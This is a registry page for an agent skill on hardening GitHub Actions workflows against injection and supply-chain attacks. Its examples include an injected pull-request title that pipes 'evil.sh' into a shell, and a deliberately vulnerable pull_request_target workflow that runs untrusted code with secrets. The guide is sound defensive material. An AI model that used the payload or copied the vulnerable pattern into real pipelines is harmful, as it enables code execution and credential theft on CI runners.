github-actions-hardening
Skill1 starsChanged 2 months agoMITView on GitHub
Harden GitHub Actions workflows against supply-chain and injection attacks - pin actions to commit SHAs, least-privilege permissions blocks, OIDC instead of long-lived secrets, script injection from github.event context in run blocks, pull_request_target and untrusted PR code, artifact and cache poisoning, and self-hosted runner escape. Use when writing or reviewing a workflow, when setting up secrets or cloud auth in CI, when a workflow runs on pull_request, or when someone reports an Actions security warning or a compromised action. Triggers on "GitHub Actions security", "pin action to SHA", "script injection", "pull_request_target", "permissions", "OIDC", "self-hosted runner", "workflow security", "pwn request".
- Pipes a download into a shell
- Reads credentials
8 other projects use a version of this.
Adopted by
Most recently taken up by
- taixuann/development-spacetheir own version, first seen Nov 8, 2026
- docdyhr/simplenote-mcp-servertheir own version, first seen Nov 1, 2026
- kaandgnsh/Claude-Bluetheir own version, first seen Nov 1, 2026
- github/awesome-copilottheir own version, first seen Oct 25, 2026
- sb-dev/narrative-production-skillstheir own version, first seen Oct 20, 2026
- z-Zihan/Evirtheir own version, first seen Oct 13, 2026
Other versions8 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 8
- github/awesome-copilot★ 42ksame name
- exelearning/exelearning★ 161same name
- docdyhr/simplenote-mcp-server★ 21same name
- z-Zihan/Evir★ 11same name
- sb-dev/narrative-production-skills★ 2same name
- taixuann/development-space★ 1same name
- kaandgnsh/Claude-Blue★ 0same name
- RorroRojas3/maf-agents★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository126 other files it gives its agents.
- eu-data-backend-job-hunterSkill
- job-application-matcherSkill
- llm-agents-and-tool-useSkill
- llm-application-architectureSkill
- llm-cost-and-latency-optimizationSkill
- llm-evaluationSkill
- llm-fine-tuning-and-adaptersSkill
- llm-privacy-and-safetySkill
- llm-prompt-engineeringSkill
- llm-rag-systemsSkill
- structured-output-and-jsonSkill
- graphql-api-designSkill
- pagination-and-filteringSkill
- rest-api-designSkill
- webhooks-and-integrationsSkill
- caching-architecture-multi-layerSkill
- resilience-patternsSkill
- service-boundaries-and-monolithsSkill
- system-design-interviewSkill
- go-concurrencySkill
- go-error-handlingSkill
- java-spring-patternsSkill
- nodejs-server-performanceSkill
- python-async-patternsSkill
- python-data-modelingSkill
- python-packaging-and-toolingSkill
- python-performanceSkill
- rest-api-implementationSkill
- rust-error-handlingSkill
- rust-ownership-patternsSkill
- typescript-type-safetySkill
- ci-caching-and-speedupSkill
- ci-pipeline-designSkill
- deployment-strategiesSkill
- release-versioning-and-changelogsSkill
- reproducible-buildsSkill
- aws-iam-and-securitySkill
- aws-serverless-architectureSkill
- azure-fundamentalsSkill
- cloud-cost-optimizationSkill
- cloud-networking-and-vpcSkill
- gcp-cloud-architectureSkill
- code-review-skillsSkill
- design-review-and-refactoring-architectureSkill
- refactoring-techniqueSkill
- understanding-unknown-codebaseSkill
- buildkit-and-cacheSkill
- container-image-debuggingSkill
- container-runtime-securitySkill
- docker-compose-workflowsSkill
- dockerfile-authoringSkill
- docker-image-optimizationSkill
- database-connection-managementSkill
- database-transactionsSkill
- distributed-databasesSkill
- nosql-data-modelingSkill
- postgres-query-tuningSkill
- redis-and-cachingSkill
- schema-migrationsSkill
- data-modeling-for-analyticsSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
5 rules. 0 are common, 2 are distinctive, and 3 are very specific to this project.
0
Common
Most of the 8 edited versions we read keep these.
2
Distinctive
This author's own choices. Worth a look.
3
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 11
Default posture: a workflow is a program running with your repository's credentials on someone else's runner.
- Very specific: line 22
Never interpolate untrusted context into a
run:block: Use an environment variable. - Very specific: line 52
Use only actions you would trust with your CI credentials: first-party (actions/*, github/*) or ones whose source you have read.
- Distinctive: line 89
Every stored cloud credential is a permanent liability: it does not expire, it is not tied to a repo or a branch, and it appears in every …
- Very specific: line 149
Never build a shell command from an untrusted value, even with printf %q gymnastics.
“Common” is measured: kept by at least 6 in 10 of the 8 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
GitHub Actions Hardening
Default posture: a workflow is a program running with your repository's credentials on someone else's runner. Treat it with the suspicion you would give a dependency that runs at install time — because that is exactly what it is.
The seven rules
- Pin every third-party action to a full commit SHA, not a tag.
- Declare
permissions:explicitly at the workflow level, as small as possible, and narrow further per job. - Use OIDC for cloud auth; avoid long-lived secrets.
- Never interpolate untrusted context into a
run:block. Use an environment variable. - Never run untrusted PR code in a privileged context
(
pull_request_target,workflow_run,issue_comment). - Treat artifacts and caches from untrusted runs as untrusted inputs.
- Self-hosted runners in a public repo are remote code execution for anyone who can open a PR.
1. Pin actions to SHAs
# Bad: a mutable tag. The owner can repoint it, and tags have been repointed.
- uses: actions/checkout@v4
- uses: some-org/some-action@main
# Good: a full 40-character SHA, with the version in a comment for humans.
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0Resolving a SHA:
gh api repos/actions/checkout/git/ref/tags/v4.2.2 --jq '.object.sha'
# Annotated tags: peel to the commit.
gh api repos/actions/checkout/git/tags/v4.2.2 --jq '.object.sha'
# Dependabot keeps the pins updated if you enable it:
# .github/dependabot.yml -> package-ecosystem: "github-actions"Use only actions you would trust with your CI credentials: first-party
(actions/*, github/*) or ones whose source you have read. Third-party
actions frequently contain a post-install step that is not visible in the YAML.
2. Least-privilege permissions
The default token permissions depend on repository settings, which you should not have to look up. Declare them:
permissions: # workflow level: the floor for every job
contents: read
jobs:
test:
permissions:
contents: read # job level: this job's actual needs
release:
needs: [test]
permissions:
contents: write
packages: write
id-token: write # only if using OIDCcontents: readis what almost every job needs.contents: writeis what most compromised workflows steal.id-token: writeis only for OIDC; never combine it with untrusted input in the same job.pull-requests: writelets a job comment on PRs — needed by review bots and by release-please, and a juicy target.- Set the repository default to read-only under Settings → Actions → Workflow
permissions. Then a workflow that forgets
permissions:is safe by default. - Third-party actions inherit the job's token.
permissions: {}(empty) for a job that only runs linting with third-party actions is the right answer.
3. OIDC instead of long-lived secrets
Every stored cloud credential is a permanent liability: it does not expire, it is not tied to a repo or a branch, and it appears in every job that uses it. OIDC issues a short-lived token per job, tied to the repo, the ref, and the workflow.
permissions:
id-token: write
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@<sha> # pin; verify the major
with:
role-to-assume: arn:aws:iam::123456789012:role/gha-deploy
aws-region: eu-west-1
# No AWS_ACCESS_KEY_ID secret anywhere. The token lives ~15 minutes.The cloud provider side must trust the GitHub OIDC issuer with a subject condition — this is the part people skip, and skipping it means any workflow in any repo can claim your role:
{
"Condition": {
"StringEquals": { "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" },
"StringLike": { "token.actions.githubusercontent.com:sub": "repo:myorg/myrepo:ref:refs/heads/main" }
}
}Restrict the sub to the exact repo and the exact ref or environment. A
condition of "repo:myorg/*" lets any repo in your org assume the role.
Same pattern for GCP (Workload Identity Federation) and Azure (OIDC federated credential). Deploy via GitHub Environments with required reviewers for anything that writes to production: the environment's protection rules gate the job regardless of what the workflow says.
4. Script injection: the highest-severity local finding
Any untrusted context interpolated directly into run: is a shell injection.
Untrusted contexts include github.event.issue.title, github.event.*.body,
github.event.pull_request.title, github.event.comment.body, branch names
(from forks), commit messages, and anything an external user can set.
# Vulnerable: a PR titled "; curl evil.sh | sh; #" executes on the runner.
- run: echo "Fixing ${{ github.event.pull_request.title }}"
# Safe: the value goes through the environment, and the shell treats it as data.
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
set -euo pipefail
printf 'Fixing %s\n' "$PR_TITLE"env:is the fix, not "quote it" —${{ }}is substituted before the shell parses the line, so quotes around it do not help. Once it is inenv,"$VAR"is a variable expansion and cannot be reparsed as syntax.- Never build a shell command from an untrusted value, even with
printf %qgymnastics. Use an array, or pass it as an argument. - For
actions/github-scriptandactions/first-interaction, the same rule: the interpolation is into generated JavaScript. Usecontext.payloadand read fields in JS rather than interpolating them. - Also avoid interpolating into
if:conditions and into action inputs that execute code (e.g. a test-runner action that takes atest-nameargument and runs it through a shell).
5. Untrusted PR code: pull_request_target
pull_request runs the workflow from the merge commit of the PR branch,
with a read-only token and no access to secrets — safe. But
pull_request_target runs from the base branch (trusted code) with a
read-write token and access to all secrets — while checking out and running
the PR's code. That combination is the "pwn request" pattern.
# Vulnerable: PR code runs with all secrets.
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@<sha>
with: { ref: ${{ github.event.pull_request.head.sha } }} # attacker's code
- run: ./build.sh # ...with secrets
env:
AWS_SECRET: ${{ secrets.AWS_SECRET }}Rules:
pull_request_targetmust never build, test, or run code from the PR. If you need it (to comment on a PR, to label it, to run a privileged action like a deploy approval), do not check outhead.shaand do not execute anything derived from the PR. Usegithub.event.pull_request.head.label/head.refonly as data.- To run a privileged job on a fork's code: two workflows. The unprivileged
pull_requestworkflow builds the artifact and uploads it as an artifact; the privilegedworkflow_runworkflow (triggered on the first workflow's completion) downloads the artifact and deploys it. Theworkflow_runhandler must check out the base branch and treat the artifact as untrusted input — validate it (e.g. verify a signature or a checksum committed on the base branch) before executing. workflow_runhas the same trap: it runs in the base context with secrets and the artifacts of whatever triggered it, including from forks. Guard it:if: github.event.workflow_run.event == 'pull_request' && github.event.workflow_run.conclusion == 'success', and do not run the downloaded code with secrets without validating it.- Issues and comments are attacker-controlled. An
issue_commentworkflow that checks out${{ github.event.issue.pull_request.head.sha }}or that parses the comment body into a command is remote code execution. A bot that reads/deploy productionfrom a comment must authorise the commenter (github.event.comment.user.type == 'User'and a permission check) and must not interpolate the body intorun:. - Fork PRs get a read-only token and no secrets by design. A workflow that
"needs" secrets on a fork PR is misdesigned; the fix is not
pull_request_target.
6. Artifacts and caches are untrusted inputs
- Anything a
pull_requestworkflow produces is attacker-controlled: build outputs, test reports, coverage files, uploaded archives, caches. A privileged downstream job that executes one of these is running the PR's code with production credentials. - Do not consume
pull_request_target/workflow_runartifacts as executable without validation: verify a checksum or signature produced by a trusted job, or rebuild from source in the trusted context. - Caches are shared across branches and survive runs. A PR that populates a
cache with a malicious
node_modules(or a poisoned~/.cache) can affect main. Scope caches per branch/PR for anything that is later executed, and never restore a cache in a privileged job that was written by an untrusted one. (ci-caching-and-speedupcovers the result-caching trap from the other side.) - Code scanning / SARIF uploads from a fork are untrusted input to whatever consumes them.
- Docker:
docker buildon PR code, then pushing that image anywhere, is publishing attacker-controlled content. Build on PRs but do not push to a registry that privileged jobs pull from; or push to an isolated registry namespace that nothing deploys from.
7. Self-hosted runners
A self-hosted runner executes arbitrary code from anyone who can open a pull request against the repo. If the runner is on your network or in your cloud account, that is a lateral-movement path.
- Never use self-hosted runners on public repositories with
pull_request-triggered workflows. Use GitHub-hosted runners, or restrict workflows to run self-hosted only onpushto a protected branch. - Ephemeral runners only for untrusted code: one job per runner, destroyed afterwards. A persistent runner accumulates credentials, Docker images, and workspace files from every job it has ever run.
- Run untrusted jobs in a sandbox: a container or VM with no access to the host network, no cloud instance metadata, no host Docker socket. Mounting the Docker socket into a runner container is equivalent to giving root on the host.
- Isolate by repo: a runner group per repository or trust level, not shared across repos with different trust.
- Do not use privileged mode (
--privileged) for untrusted jobs. - Rotate anything a persistent runner ever touched. Treat a runner that ran fork code as potentially compromised.
Other hardening
concurrencywithcancel-in-progresson branches saves minutes and stops duplicate deploys from racing.- Set
timeout-minuteson every job so a hang does not burn the quota. - Environment protection for production: required reviewers, a wait timer, and secrets scoped to the environment rather than the repository.
- Restrict which environments a job can use, and gate deploys on the environment so a fork PR cannot reach the production secrets at all.
- Third-party actions are dependencies: review them, prefer 1–3 lines over a large composite action, and pin. Actions run with the job's token and can read the workspace.
- Use
github.actorandgithub.triggering_actorcorrectly:actoris who initiated the run (possibly a rerun by someone else). For authorisation, check permissions, not the actor's name. - Protect the
GITHUB_TOKENfrom being exfiltrated by apull_requestjob: arun:step that prints${{ secrets.GITHUB_TOKEN }}or writes it to a log is fine only because the token is read-only on PRs — but the same step onpushis a leak. Never echo secrets; mask and rely on the runner's masking. workflowpermissions and YAML injection viapull_requesttitle in arun:— covered above; the two interact, so fix the injection first.
Gotchas
permissions:at the workflow level is overridden by the job level, not merged. Settingcontents: writeat the workflow top does not grant it to a job that declares its own block without it. Write the block at both levels deliberately.secretsare not available to workflows triggered by a fork'spull_request— but they are available onpull_request_targetandworkflow_run. The fix is never "pass secrets to the trusted context and run PR code in it".- SHA pins get stale and fail closed. A pinned action that no longer exists
at that SHA fails the workflow, which is the safe failure. Enable Dependabot
for
github-actionsso the pins are updated. github.event.pull_request.head.refon a fork is the fork's branch name, which can contain a/and a-and looks like a path. Do not use it in paths; usehead.labelor the numerichead.repo.id.secrets.GITHUB_TOKENis per-run and expires, but any other secret you store does not. Rotate long-lived secrets and prefer OIDC.- A
if: always()cleanup step still has access to secrets; make sure the cleanup command is not built from event data. - Composite actions run in the caller's context with the caller's token and
secrets. A "trusted" local composite action that interpolates event data into
a
run:has the same injection hole as a remote one. pull_requeston a private repo from a branch in the same repo does get access to secrets (the code is trusted — it is your branch). Do not use that as a security boundary; it is a convenience.- Environment secrets vs repository secrets: move production credentials to environment secrets. A repository secret is available to every workflow, including one a dependency's action could hijack.
- Self-hosted runners cache
~/.dockerand the workspace between jobs. A later job can read what an earlier one left, including an untrusted PR's output. Ephemeral runners or explicit cleanup between jobs.
Files
references/secure-workflow-yaml.md— annotated before/after workflows: a hardened PR pipeline, a privileged post-merge deploy with OIDC, and the artifacts-between-workflows pattern. Read it when writing or reviewing a workflow file.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

